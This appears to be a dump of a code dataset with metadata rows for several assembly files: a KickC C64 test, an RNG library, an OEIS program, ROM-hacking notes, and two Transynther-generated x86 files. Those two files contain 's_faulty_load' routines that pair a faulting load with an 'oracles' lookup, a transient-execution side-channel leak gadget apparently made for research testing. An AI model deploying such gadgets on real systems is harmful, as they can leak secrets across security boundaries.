hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
e35353600d04246d50233fd6aaabff80ebf74842
1,418
asm
Assembly
src/test/ref/struct-ptr-2.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/struct-ptr-2.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/struct-ptr-2.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Minimal struct - array of struct - far pointer math indexing // Commodore 64 PRG executable file .file [name="struct-ptr-2.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .const OFFS_Y = 1 .segment Code main: { .label SCREEN = $400 .label point_i = 4 .label point_i1 = 2 ldx #0 __b1: // struct Point* point_i = points+i txa asl tay tya clc adc #<points sta.z point_i lda #>points adc #0 sta.z point_i+1 // *((byte*)point_i+OFFS_X) = i txa sta points,y // i+4 txa clc adc #4 // *((byte*)point_i+OFFS_Y) = i+4 // points[i].x = i; ldy #OFFS_Y sta (point_i),y // for( byte i: 0..3) inx cpx #4 bne __b1 ldx #0 __b2: // struct Point* point_i = points+i txa asl tay tya clc adc #<points sta.z point_i1 lda #>points adc #0 sta.z point_i1+1 // SCREEN[i] = *((byte*)point_i+OFFS_X) lda points,y sta SCREEN,x // (SCREEN+40)[i] = *((byte*)point_i+OFFS_Y) // SCREEN[i] = points[i].x; ldy #OFFS_Y lda (point_i1),y sta SCREEN+$28,x // for( byte i: 0..3) inx cpx #4 bne __b2 // } rts } .segment Data points: .fill 2*4, 0
19.162162
63
0.56347
2b448af7045d9e9152e4263d7f3c845bf995c2b7
4,618
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_967.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_967.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_967.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xa306, %rsi lea addresses_WT_ht+0x94f6, %rdi nop nop nop xor $15104, %rdx mov $68, %rcx rep movsl nop nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0x107f6, %r11 nop nop nop sub $41012, %r13 mov $0x6162636465666768, %rsi movq %rsi, (%r11) cmp %rcx, %rcx lea addresses_A_ht+0xb5f6, %rdi nop nop nop cmp $33520, %r14 mov (%rdi), %cx nop nop cmp %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %rbp push %rcx push %rdx push %rsi // Faulty Load lea addresses_normal+0x4cf6, %rdx clflush (%rdx) nop nop nop nop sub %rsi, %rsi movb (%rdx), %r12b lea oracles, %rcx and $0xff, %r12 shlq $12, %r12 mov (%rcx,%r12,1), %r12 pop %rsi pop %rdx pop %rcx pop %rbp pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
51.311111
2,999
0.662841
07e57e438cda9cd746e1317203116bfcf953bb0d
6,129
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1360.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1360.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1360.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %rbp push %rdi push %rdx push %rsi lea addresses_WC_ht+0x1a9db, %rsi nop and %rdx, %rdx movw $0x6162, (%rsi) inc %rbp lea addresses_normal_ht+0x17437, %r14 nop nop nop nop cmp %rdi, %rdi movl $0x61626364, (%r14) nop nop nop nop nop dec %rdx pop %rsi pop %rdx pop %rdi pop %rbp pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %r8 push %r9 push %rax push %rdx // Store lea addresses_UC+0x7f8f, %r9 nop nop nop nop nop sub %r10, %r10 mov $0x5152535455565758, %rdx movq %rdx, %xmm2 vmovups %ymm2, (%r9) // Exception!!! nop nop nop mov (0), %r10 nop add $59061, %r8 // Load lea addresses_WC+0x2e0f, %rdx nop nop nop nop xor $48048, %r15 movups (%rdx), %xmm4 vpextrq $1, %xmm4, %r8 nop nop cmp $40826, %rdx // Store mov $0xd0f, %r15 nop add $27643, %r10 movb $0x51, (%r15) dec %r13 // Store lea addresses_A+0xdfbf, %r8 nop nop nop nop nop add %r13, %r13 mov $0x5152535455565758, %r10 movq %r10, %xmm7 vmovups %ymm7, (%r8) nop sub %r15, %r15 // Store lea addresses_normal+0x1149f, %rax nop sub $13687, %r10 movb $0x51, (%rax) nop nop nop nop nop add $1062, %r13 // Store lea addresses_RW+0xcf0f, %r13 nop nop nop nop and %r9, %r9 mov $0x5152535455565758, %r10 movq %r10, %xmm0 movups %xmm0, (%r13) nop nop nop nop nop xor %r15, %r15 // Store lea addresses_PSE+0x1cb0f, %rdx and %r10, %r10 movl $0x51525354, (%rdx) nop and %r8, %r8 // Faulty Load lea addresses_RW+0x1450f, %r9 nop sub $65289, %rax mov (%r9), %r15w lea oracles, %r9 and $0xff, %r15 shlq $12, %r15 mov (%r9,%r15,1), %r15 pop %rdx pop %rax pop %r9 pop %r8 pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_RW', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal_ht', 'same': True, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
35.224138
2,999
0.651819
12acbb89262eb1f8623a9f559b1b051316f12b6e
9,292
asm
Assembly
core/src/main/c/share/asmlib/mother64.asm
jerrinot/questdb
70c8af789dadf132bcdbede24d48ee58bc30caf4
[ "Apache-2.0" ]
8,451
2019-11-18T10:25:08.000Z
2022-03-31T16:13:52.000Z
core/src/main/c/share/asmlib/mother64.asm
jerrinot/questdb
70c8af789dadf132bcdbede24d48ee58bc30caf4
[ "Apache-2.0" ]
1,278
2019-11-18T11:31:17.000Z
2022-03-31T21:34:49.000Z
core/src/main/c/share/asmlib/mother64.asm
jerrinot/questdb
70c8af789dadf132bcdbede24d48ee58bc30caf4
[ "Apache-2.0" ]
493
2019-11-18T11:19:29.000Z
2022-03-29T18:21:12.000Z
; ----------------------------- MOTHER64.ASM ----------------------------- ; Author: Agner Fog ; Date created: 1998 ; Last modified: 2013-12-15 ; Source URL: www.agner.org/optimize ; Project: asmlib.zip ; Language: assembly, NASM/YASM syntax, 64 bit ; Description: ; Mother-of-All random number generator by Agner Fog ; 64-bit mode version for x86-64 compatible microprocessors. ; ; This is a multiply-with-carry type of random number generator ; invented by George Marsaglia. The algorithm is: ; S = 2111111111*X[n-4] + 1492*X[n-3] + 1776*X[n-2] + 5115*X[n-1] + C ; X[n] = S modulo 2^32 ; C = floor(S / 2^32) ; ; C++ prototypes: ; extern "C" void MotRandomInit(void * Pthis, int seed); // Initialization ; extern "C" int MotIRandom(void * Pthis, int min, int max); // Get integer random number in desired interval ; extern "C" double MotRandom(void * Pthis); // Get floating point random number ; extern "C" unsigned int MotBRandom(void * Pthis); // Output random bits ; ; Copyright (c) 2008-2013 GNU General Public License www.gnu.org/licenses ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; default rel ; structure definition and constants: %INCLUDE "randomah.asi" ; publics: global MotherBRandom, MotBRandom, ?Windows_MotBRandom global MotherRandom, MotRandom, MotherIRandom, MotIRandom global MotherRandomInit, MotRandomInit %IFDEF WINDOWS global MotherRandomInitD, MotherRandomD, MotherIRandomD, MotherBRandomD %ENDIF section .data align 16 ; Data for single instance of random number generator MotherInstance: ISTRUC CRandomMotherA IEND ; Size of structure MotherSize equ $-MotherInstance SECTION .CODE ALIGN=16 ; code segment ; Single threaded version: ; extern "C" unsigned int MotherBRandom(); // Output random bits MotherBRandom: ; PROC ; entry for both Windows and Linux call %IFDEF WINDOWS MotherBRandomD: %ENDIF lea rcx, [MotherInstance] ; Point to instance jmp ?Windows_MotBRandom ;MotherBRandom ENDP ; Thread-safe version: ; extern "C" unsigned int MotBRandom(void * Pthis); // Output random bits MotBRandom: ; PROC %IFDEF UNIX mov rcx, rdi ; translate calling convention %ENDIF ?Windows_MotBRandom: and rcx, -16 ; align movdqa xmm1, oword [rcx+CRandomMotherA.M3] ; load M3,M2,M1,M0 mov eax, [rcx+CRandomMotherA.M0] ; Retrieve previous random number movdqa xmm2, xmm1 ; copy movdqa xmm3, oword [rcx+CRandomMotherA.MF3] ; factors psrlq xmm2, 32 ; move M2,M0 down movq qword [rcx+CRandomMotherA.M4], xmm1 ; M4=M3, M3=M2 movhps qword [rcx+CRandomMotherA.M2], xmm1 ; M2=M1, M1=M0 pmuludq xmm1, xmm3 ; M3*MF3, M1*MF1 psrlq xmm3, 32 ; move MF2,MF0 down pmuludq xmm2, xmm3 ; M2*MF2, M0*MF0 paddq xmm1, xmm2 ; P2+P3, P0+P1 movhlps xmm2, xmm1 ; Get high qword paddq xmm1, xmm2 ; P0+P1+P2+P3 paddq xmm1, oword [rcx+CRandomMotherA.MC] ; +carry movq qword [rcx+CRandomMotherA.M0], xmm1 ; Store new M0 and carry ; convert to double precision float psllq xmm1, 32 ; Discard carry bits psrlq xmm1, 12 ; Get bits into mantissa position por xmm1, oword [rcx+CRandomMotherA.one] ; Add exponent bits to get number in interval [1,2) movq [rcx+CRandomMotherA.RanP1], xmm1 ; Store floating point number ret ;MotBRandom ENDP ; Single threaded version: ; extern "C" unsigned int MotherRandom(); // Get floating point random number MotherRandom: %IFDEF UNIX lea rdi, [MotherInstance] ; Point to instance %ENDIF %IFDEF WINDOWS MotherRandomD: lea rcx, [MotherInstance] ; Point to instance %ENDIF ; Thread-safe version: ; extern "C" double MotRandom(void * Pthis); // Get floating point random number MotRandom: %IFDEF UNIX mov rcx, rdi ; translate calling convention %ENDIF and rcx, -16 ; align ; get previously prepared random number movsd xmm0, [rcx+CRandomMotherA.RanP1] subsd xmm0, [rcx+CRandomMotherA.one] ; make new random number ready for next time call ?Windows_MotBRandom ret ;MotherRandom ENDP ; Single threaded version: ; extern "C" unsigned int MotherIRandom(int min, int max); // Get integer random number in desired interval MotherIRandom: ; PROC %IFDEF UNIX mov r8d, esi ; max mov edx, edi ; min lea rcx, [MotherInstance] ; Pthis = point to instance jmp ?Windows_MotIRandom %ENDIF %IFDEF WINDOWS MotherIRandomD: mov r8d, edx ; max mov edx, ecx ; min lea rcx, [MotherInstance] ; Pthis = point to instance jmp ?Windows_MotIRandom %ENDIF ; MotherIRandom ENDP ; Thread-safe version: ; extern "C" int MotIRandom(void * Pthis, int min, int max); // Get integer random number in desired interval MotIRandom: %IFDEF UNIX ; translate calling convention mov r8d, edx ; max mov edx, esi ; min mov rcx, rdi ; Pthis %ENDIF ?Windows_MotIRandom: ; LABEL NEAR ; entry for Windows call and rcx, -16 ; align push r8 push rdx call ?Windows_MotBRandom ; make random number pop rcx ; min pop r8 ; max sub r8d, ecx js short rerror ; max < min inc r8d ; interval = max - min + 1 mul r8d ; multiply random number eax by interval and truncate lea eax, [rdx+rcx] ; add min to interval*BRandom >> 32 ret ; ret 8 if not _cdecl calling rerror: mov eax, 80000000h ; error exit ret ; ret 8 if not _cdecl calling ;MotIRandom ENDP ; Single threaded version: ; extern "C" unsigned int MotherRandomInit(int seed); // Initialization MotherRandomInit: ; PROC %IFDEF UNIX mov edx, edi ; seed lea rcx, [MotherInstance] ; Pthis = point to instance jmp ?Windows_MotRandomInit %ENDIF %IFDEF WINDOWS MotherRandomInitD: mov edx, ecx ; seed lea rcx, [MotherInstance] ; Pthis = point to instance jmp ?Windows_MotRandomInit %ENDIF ;MotherRandomInit ENDP ; Thread-safe version: ; extern "C" void MotRandomInit(void * Pthis, int seed); // Initialization MotRandomInit: ; PROC %IFDEF UNIX ; translate calling convention mov edx, esi ; seed mov rcx, rdi ; Pthis %ENDIF ?Windows_MotRandomInit: ; LABEL NEAR ; entry for Windows call and rcx, -16 ; align ; clear my buffer push rdi push rcx mov rdi, rcx ; Pthis add rdi, 16 mov ecx, (MotherSize - 16) / 4 xor eax, eax cld rep stosd pop rcx ; insert constants mov dword [rcx+CRandomMotherA.one+4], 3FF00000H ; high dword of 1.0 mov dword [rcx+CRandomMotherA.MF0], 5115 ; factors mov dword [rcx+CRandomMotherA.MF1], 1776 mov dword [rcx+CRandomMotherA.MF2], 1492 mov dword [rcx+CRandomMotherA.MF3], 2111111111 ; initialize from seed mov eax, edx ; seed ; make random numbers and put them into buffer mov edx, 29943829 imul eax, edx dec eax mov [rcx+CRandomMotherA.M0], eax imul eax, edx dec eax mov [rcx+CRandomMotherA.M1], eax imul eax, edx dec eax mov [rcx+CRandomMotherA.M2], eax imul eax, edx dec eax mov [rcx+CRandomMotherA.M3], eax imul eax, edx dec eax mov [rcx+CRandomMotherA.MC], eax ; randomize some more mov edi, 20 ; loop counter r90: call ?Windows_MotBRandom ; (rcx and rdi unchanged) dec edi jnz r90 pop rdi ret ;MotRandomInit ENDP ; END
37.01992
118
0.530241
70e6cc10af213a81d166551d5e8ca4cfa291c855
146
asm
Assembly
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/set_back.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/set_back.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/set_back.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: set_back.asm Type: file Size: 76162 Last-Modified: '1993-07-20T07:13:27Z' SHA-1: EC31BCCDAACDF30321D54345227128D3FD25AC2C Description: null
20.857143
47
0.815068
86af207ff16dc8c76f6fb196428fc065ab1034ce
620
asm
Assembly
programs/oeis/010/A010972.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/010/A010972.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/010/A010972.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A010972: a(n) = binomial(n,19). ; 1,20,210,1540,8855,42504,177100,657800,2220075,6906900,20030010,54627300,141120525,347373600,818809200,1855967520,4059928950,8597496600,17672631900,35345263800,68923264410,131282408400,244662670200,446775310800,800472431850,1408831480056,2438362177020,4154246671960,6973199770790,11541847896480,18851684897584,30405943383200,48459472266975,76360380541900,119032357903550,183649923622620,280576272201225,424655979547800,636983969321700,947309492837400,1397281501935165,2044802197953900,2969831763694950,4282083008118300,6131164307078475,8719878125622720 add $0,19 mov $1,$0 bin $1,19
88.571429
554
0.877419
99abc680a39d2e2fad0efbcb5eea962a1d533cc6
612
asm
Assembly
dino/lcs/enemy/3.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
dino/lcs/enemy/3.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
dino/lcs/enemy/3.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 0359A4 move.b #$e, ($3,A6) 0359AA move.w #$38, ($84,A6) [enemy+ 3, enemy+3] 03DE20 move.b #$13, ($3,A6) 03DE26 move.w #$4c, ($84,A6) [enemy+ 3, enemy+3] 03DE38 move.b #$12, ($3,A6) 03DE3E move.w #$48, ($84,A6) [enemy+ 3, enemy+3] 045800 move.b #$9, ($3,A6) 045806 move.w #$24, ($84,A6) [enemy+ 3, enemy+3] 0512B2 move.b #$17, ($3,A6) 0512B8 move.w #$5c, ($84,A6) [enemy+ 3, enemy+3] 053436 move.b #$11, ($3,A6) [enemy+ 1] 05343C move.w #$44, ($84,A6) [enemy+ 3, enemy+3] copyright zengfr site:http://github.com/zengfr/romhack
36
54
0.594771
c0df41d2ec9716174beb2a05210c28eb46f7bfa7
3,951
asm
Assembly
Variables/AIRuntimeData.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
null
null
null
Variables/AIRuntimeData.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
null
